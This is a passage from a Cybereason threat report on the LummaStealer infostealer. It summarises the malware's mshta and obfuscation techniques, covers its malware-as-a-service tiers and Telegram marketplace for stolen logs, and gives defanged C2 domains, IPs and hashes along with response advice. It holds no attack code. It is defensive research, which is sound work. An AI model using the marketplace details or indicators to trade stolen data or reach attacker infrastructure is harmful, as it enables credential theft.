The presence of methods related to passwords and encryption implies that the malware could be involved in stealing sensitive information, such as user credentials or encryption keys. The proxy-related functions suggest the malware may also establish communication channels, potentially allowing the attacker to remotely control the system, exfiltrate data, or carry out additional attacks. 

The primary insights from this analysis focus on the sophisticated techniques used by the threat actors to infiltrate and execute malicious code on the user's machine. First, the attackers exploit the legitimate Windows process mshta.exe to execute the code, taking advantage of the fact that this process can be overlooked by security measures. They then employ various obfuscation methods to conceal their payloads, making them difficult to detect and analyze. These obfuscation techniques include encoding the payloads in HEX, utilizing complex JavaScript structures, encryption, the use of convoluted names, redundancy in variables and functions, and more. Lastly, the malware takes the additional step of loading its malicious code directly into memory, bypassing traditional file-based security checks and allowing the attack to remain undetected by some security systems.

Darknet Activity Overview

In this section, we examine the darknet activities of the LummaStealer operators and explore their newly devised methods for monetizing stolen data. By establishing an internal marketplace on Telegram, they enable direct transactions for compromised information - complete with a rating system, advanced search capabilities, and flexible pricing. 

LummaStealer has been active on the market for two years, marking each anniversary with celebrations on the darknet. These events are used to showcase new features and build community engagement within cybercriminal circles.

celebrating two years LummaStealer celebrating two years of operation

In recent months, LummaStealer has been actively targeting various sectors through sophisticated campaigns:

  • June 2024: The Chilean National Computer Security Incident Response Team (CSIRT) reported a significant increase in LummaStealer distribution. The malware was disseminated via phishing emails, deceptive websites, and "clickfix" techniques, where users were tricked into executing malicious commands, leading to the theft of personal and financial information.
  • October 2024: The Cyber Express highlighted a campaign where LummaStealer, in conjunction with the Amadey Bot, specifically targeted the manufacturing industry. Attackers employed phishing emails and malicious downloads to infiltrate systems, aiming to exfiltrate sensitive data and compromise network security within the sector.

These incidents underscore LummaStealer's evolving tactics and its persistent threat across different industries.

Darknet Operation

Advertisement Advertisement on one of the darknet forums

As a MaaS, LummaStealer offers three main subscription tiers - Experienced, Professional, and Corporate - each with a distinct set of features, customization options, and tools for managing malware campaigns:

Experienced

  • Create up to 3 filters and 3 build tags
  • Bulk download of logs and search by custom queries
  • Sorting by various parameters (e.g., country, wallets)
  • Cleanup empty logs and view stats for “dummy” entries
  • Limited Telegram notifications (1 channel or bot)
Professional
  • Includes all Experienced features plus:
  • Unlimited filters, mass log deletion, and log-sharing options
  • Advanced widgets for log quality and filtering
  • Unlimited build tags and extended search/export of logs
  • Monitor neighbors in logs and assess log quality
  • Create and edit grabber profiles (add/remove browsers, set file paths, apply masks/variables, etc.)
  • Hot editing of profiles during campaigns
  • Non-resident loader, reverse proxy, and Google Account cookie recovery

Corporate

  • Everything from Professional, plus:
  • Dedicated build cleaning line (reduced detection rate)
  • Add/remove extensions in the file grabber config
  • HeavensGate implementation and LNK builder
  • Early access to new features before they roll out to lower tiers
  • Builds are randomly generated for each user, due to the integrated morphing module

 

Given the features mentioned, we can assume that the new variant described earlier in the article belongs to either the “Professional” or “Corporate” subscription tier, given its support for non-resident loaders.

We analyzed the monthly frequency of updates for LummaStealer based on forum posts detailing its changelogs. The table below illustrates the number of updates released each month since its launch, providing insights into development trends and shifts in focus over time.

changelog analysisLummaStealer changelog analysis

Launched in December 2022, LummaStealer initially focused on building momentum through a marketing campaign on forums (Dec 2022 – Jun 2023). This period saw active development and the addition of new features. However, after the log market was opened (Aug 2024), development efforts slowed down significantly as focus shifted toward monetization. The sharp drop in updates during September and October 2024 could reflect seasonal trends, possibly related to students returning to school or other external factors.

Monetization without intermediaries

The operators of LummaStealer run an internal marketplace on Telegram, accessible via an automated bot called @lu*********bot, where thousands of logs are bought and sold daily. They also include features like a rating system to encourage quality sellers, advanced search options for both passwords and cookies, and a wide price range. Coupled with 24/7 support, the marketplace aims to provide a seamless experience for anyone trading stolen data, reflecting a trend seen across various Telegram and darknet-based stealer communities.

[img]

market logoLumma Market logo

Telegram bot automation

The extent of the marketplace, launched on August 2, 2024, demonstrates why it has rapidly gained popularity within cybercriminal circles compared to alternatives like Vidar Stealer and others. Built directly into Telegram and powered by an automated bot, the platform simplifies log trading while maintaining the privacy and anonymity demanded in such illicit dealings.

[img]

LummaMarket UI LummaMarket UI on the malware control panel

One of the key aspects contributing to its success is the detailed presentation of each lot, which provides clear and concise information for potential buyers. Each listing includes key details such as the number of passwords and cookies, relevant applications (e.g., Azure, Discord), and the presence or absence of wallets and filters. 

This transparency allows buyers to quickly assess the value of a log before making a purchase.

Lot information Lot information on the Telegram market bot

The advanced search and filtering capabilities further enhance the marketplace’s user-friendliness. Buyers can narrow down their searches using specific criteria, such as the presence of passwords, cookies, or a combination of both. Filters by the number of cookies, geographic location, and price also enable efficient targeting of logs that meet the buyer’s specific needs. This level of precision not only speeds up the buying process but also highlights the marketplace's sophisticated functionality compared to competitors.

Search and filter Search and filter capabilities of the bot

Another key feature is the seller rating system, which incentivizes high-quality offerings and fosters a sense of trust within the darknet community. Each seller is assigned a storefront number, and their ratings are prominently displayed. Buyers can view the likes and reputation of a seller directly through the interface, enabling informed decisions and mitigating the risks associated with poor-quality data. This system closely mirrors legitimate e-commerce platforms, which likely contributes to its popularity among users.

Rating system Rating system via “Likes” counter

Pricing flexibility is another factor that sets the LummaC2 marketplace apart. Sellers are free to set their own prices, with logs ranging from as little as $0.10 to $1,000, depending on their perceived value. This wide range accommodates both low-budget buyers and sophisticated cybercriminals seeking premium data.

Data Buyer Data Buyer Profile

The marketplace also boasts a seamless financial ecosystem, supporting deposits via Bitcoin and Ethereum with a minimum amount of $50. These cryptocurrencies ensure anonymity while providing a simple way for users to manage their balances. Sellers, on the other hand, receive 70% of each sale, with the remaining 30% retained as a platform fee.

Cryptocurrency withdrawal UICryptocurrency withdrawal UI

Public documentation

In addition to these features, the LummaStealer ecosystem is supported by openly available documentation hosted on GitBook. This documentation includes detailed guides on configuring and using LummaStealer effectively, with clear instructions tailored for both experienced users and beginners. Additionally, an alternative platform on Telegram provides further insights, emphasizing the accessibility of this malware-as-a-service platform even to less skilled operators. 

Official documentation Official documentation of the LummaStealer MaaS

For instance, the GitBook documentation outlines practical examples of setting up campaigns, managing logs, and optimizing configurations, thus lowering the barrier to entry for aspiring cybercriminals. This documentation provides step-by-step guides for users and sellers alike, detailing the marketplace's usage, rules, and processes. The transparency and accessibility of this documentation further enhances the marketplace's usability, allowing even less experienced users (so-called “script-kiddies”) to navigate its features with ease.

The combination of detailed lot descriptions, advanced search options, a transparent rating system, flexible pricing and detailed documentation creates an efficient and user-friendly environment for trading logs containing stolen user data. These features, coupled with the accessibility of Telegram as a platform, likely explain the growing popularity of LummaC2 over other competitors in the stealer ecosystem. Its focus on simplicity, usability, and community-driven trust mechanisms demonstrates a trend toward the professionalization of illicit marketplaces, further blurring the lines between legitimate and criminal operations.

IOCs

Cybereason shared a list of indicators of compromise related to this research :

IOC

IOC type

Description

klipderiq[.]shop

DOMAIN

C2

check[.]qlkwr[.]com

DOMAIN

C2

172[.]67[.]144[.]135

IP

C2

104[.]21[.]224

IP

C2

xian[.]klipderiq[.]shop

DOMAIN

C2

172[.]67[.]144[.]135

IP

C2

simplerwebs[.]world

DOMAIN

C2

affc[.]klipcewucyu[.]shop

DOMAIN

C2

klipdiheqoe[.]shop

DOMAIN

C2

Ef85ba125184cbb92b3abf780fa9dbf0a1f1d4d0 

HASH

EXECUTABLE

104[.]21[.]64[.]1

IP

C2

extranet-captcha[.]com > 77.105.164[.]117

DOMAIN/IP

C2

kliphylj[.]shop

DOMAIN

C2

klipbyxycaa[.]shop

DOMAIN

C2

goatstuff[.]sbs

DOMAIN

C2

awagama2[.]org

DOMAIN 

C2

176[.]113[.]115[.]170

DOMAIN

C2

t1.awagama2[.]org

DOMAIN

C2

awagama[.]org

DOMAIN

C2

savecoupons[.]store

DOMAIN

C2

klipbazyxui[.]shop

DOMAIN

C2

b133d42502750817aa8e88119ff36158d2f8ecee

HASH

EXECUTABLE

deduhko2.klipzyroloo[.]shop > 172.67.144[.]15

DOMAIN/IP

C2

solve.gevaq[.]com > 104.21.16[.]142

DOMAIN/IP

C2

topofsuper[.]store

DOMAIN

C2

onceletthemcheck[.]com

DOMAIN

C2

dma.sportstalk-musiclover[.]com

DOMAIN

C2

scrutinycheck[.]cash

DOMAIN

C2

104[.]21[.]16[.]1

IP

C2

atsuka.thrivezest[.]org

DOMAIN

C2

solve.fizq[.]net

DOMAIN

C2

sos-at-vie-1.exo[.]io

DOMAIN

C2

pawpaws.readit-carfanatics[.]com

DOMAIN

C2

anita2[.]snuggleam[.]org

DOMAIN

C2

hookylucnh[.]click > 104.21.35[.]211

DOMAIN/IP

C2

buck2nd[.]oss-eu-central-1[.]aliyuncs[.]com

DOMAIN

C2

sakura[.]holistic-haven[.]shop

DOMAIN

C2

30b18eb4082b8842fea862c2860255edafc838ab

HASH

EXECUTABLE

f2ec439b1f1b8d7dcc38d979bcf6ad64fe437122

HASH

EXECUTABLE

pub-e62cce9a08224552b513d24397cb4413[.]r2[.]dev

DOMAIN

C2

heavens[.]holistic-haven[.]shop

DOMAIN

C2

0551cdbf681c7ce31754247291dc550df0807cee

HASH

EXECUTABLE

decd01a95a05f557720e62ada86fa929f4687e88

HASH

EXECUTABLE

279ec364b8bc3244335c47ed2586d387e448ac7b

HASH

EXECUTABLE

79d7a6e7441d478fc81638e6ed458e898e0ebf2b

HASH

EXECUTABLE

88958d7c9749b7d085ee28d9fa50151a505eba09

HASH

EXECUTABLE

b9ff81cc8ad9e4d30df66fe520d1a0f5231902a6

HASH

EXECUTABLE

a2840e3927351244f253d54389a66342a4f6be33

HASH

EXECUTABLE

60e30eaeedc7abb079fd7e6d2d8f486de5a9af38

HASH

EXECUTABLE

d896764e7ce9e8685ce4e11aa49d556f8a23a547

HASH

EXECUTABLE

8b0f45b361b9b74a5e4383d692e281a59f44f508

HASH

EXECUTABLE

8bb8f2324aa1aca4da6fbea5cdaad4f66263b545

HASH

EXECUTABLE

8bb8f2324aa1aca4da6fbea5cdaad4f66263b545

HASH

EXECUTABLE

ded3ed8724e5913d341b3eaca9bd9f47f0e4a4a2

HASH

EXECUTABLE

 

Cybereason Recommendations:

 It is crucial to implement strategic measures to mitigate risks when facing threats such as the LummaStealer. The following strategical steps would be beneficial in order to contain and eradicate the incident as soon as possible: 

  • ISOLATE THE INFECTED MACHINE: Immediately disconnect the compromised device from the network to prevent any propagation/lateral movement and further cause to data exfiltration. 
  • LOCK ACTIVE USER SESSIONS: Close all active sessions on the affected user to limit the attacker’s access. 
  • BLOCK ALL USER ACCOUNTS ON THE MACHINE: Since credential dumping scripts like mimikatz have been observed, it is crucial to disable all user accounts present on the compromised endpoint to restrict unauthorized access. 
  • REIMAGE THE INFECTED MACHINE: Restore the system by re-imaging the device to remove fully all malicious artifacts. 
  • RESET USER CREDENTIALS: Ensure all credentials related to the compromised machine including accounts, browser stored passwords, crypto wallets or any sensitive related information stored on the device are reset. Additionally apply 2FA to where possible. 
  • BLOCK IOCs: Ensure to block domains/IP addresses observed during the incident from your organizational firewall/proxy/ email gateway. 
  • EDUCATE USERS: As usual the initial access can’t be done without human interaction. Educate users to identify and avoid suspicious CAPTCHA prompts on untrusted sites and to detect the phishing emails.

 

ABOUT THE RESEARCHERs

Evgeny Ananin, Threat Intelligence Analyst, Cybereason
evgeny

Evgeny is a Threat Intelligence Analyst on the Cybereason Threat Intelligence Team, leveraging Red Teaming expertise and OSINT to investigate adversarial infrastructure and Darknet activities. He previously contributed to advanced malware research and penetration testing.

Jun Kitajima, GSOC Analyst, Cybereason
jun

Jun is a cybersecurity analyst in the EMEA GSOC department at Cybereason, specializing in threat detection and response , with hands-on expertise in malware analysis and incident handling. 

 

Patryk Kowalik, GSOC Analyst, Cybereason
patryk

Patryk is a GSOC Analyst with the Cybereason Global SOC team. He is involved in MalOp Investigation and Threat Hunting. He is deeply interested in threat intelligence, malware reverse engineering, and penetration testing. He holds a Master’s degree in Cybersecurity from the Wrocław University of Science and Technology.

Elena Odier, Threat Hunter, Cybereason
elena-odier

Elena Odier is a Security Analyst with the Cybereason Global SOC team. She is involved in MalOp Investigation, escalations and Threat Hunting. Previously, Elena worked in incident response at ANSSI (French National Agency for the Security of Information Systems). 

Mikolaj Pulit, GSOC Analyst, Cybereason
mikol

Mikolaj is a GSOC Analyst in the EMEA Global SOC team. He primarily works in MalOp investigations, static/dynamic malware analysis, and handling escalations. Additionally, he has an interest in Capture The Flag (CTF) activities.

 

Mark Tsipershtein, Security Researcher, Cybereason
mark-tsipershtein-hs

Mark Tsipershtein, a security researcher at the Cybereason Security Research Team, focuses on research, analysis automation and infrastructure. Mark has more than 20 years of experience in SQA, automation, and security research.

Cybereason Security Services Team
About the Author

Cybereason Security Services Team

All Posts by Cybereason Security Services Team